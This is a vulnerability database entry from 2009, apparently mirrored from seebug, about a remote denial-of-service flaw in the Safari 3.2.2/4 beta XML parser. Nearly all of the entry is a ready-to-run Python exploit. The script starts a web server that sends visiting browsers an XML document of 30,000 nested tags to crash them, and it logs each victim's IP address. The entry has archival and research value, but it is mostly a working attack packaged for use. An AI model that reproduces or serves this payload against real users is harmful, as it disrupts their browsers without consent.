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Apple Safari XML解析器嵌套XML标记远程拒绝服务漏洞

🗓️ 04 Apr 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Apple Safari XML parser nested XML tag remote denial of service vulnerabilit

Code

                                                #
#   Author : Ahmed Obied ([email protected])
#
#   - Tested using:
#     -> Safari 3.2.2 on Windows
#     -> Safari 4 (BETA) on Windows
#
#   Usage  : python safari.py [port]
#   
import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
       
    def get_exploit(self):
        exploit = \'<?xml version=\"1.0\"?>\'
        exploit += \'<A>\' * 30000 + \'</A>\' * 30000
        return exploit
           
    def log_request(self, *args, **kwargs):
        pass
    def do_GET(self):
        if self.path == \'/\':
            print
            print \'[-] Incoming connection from %s\' % self.client_address[0]
            print \'[-] Sending header to %s ...\' % self.client_address[0]
            self.send_response(200)
            self.send_header(\'Content-type\', \'text/xml\')
            self.end_headers()
            print \'[-] Header sent to %s\' % self.client_address[0]
            print \'[-] Sending exploit to %s ...\' % self.client_address[0]
            self.wfile.write(self.get_exploit())
            print \'[-] Exploit sent to %s\' % self.client_address[0]
def main():
    if len(sys.argv) != 2:
        print \'Usage: %s [port]\' % sys.argv[0]
        sys.exit(1)
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer((\'\', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print \'[-] Web server is running at http://%s:%d/\' % (ip, port)
            try:
                serv.serve_forever()
            except KeyboardInterrupt:
                print \'[-] Exiting ...\'
        except socket.error:
            print \'[*] ERROR: a socket error has occurred ...\'
        sys.exit(-1)   
    except ValueError:
        print \'[*] ERROR: invalid port number ...\'
        sys.exit(-1)
           
if __name__ == \'__main__\':
    main()
 
                              

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04 Apr 2009 00:00Current
6.9Medium risk
Vulners AI Score6.9
12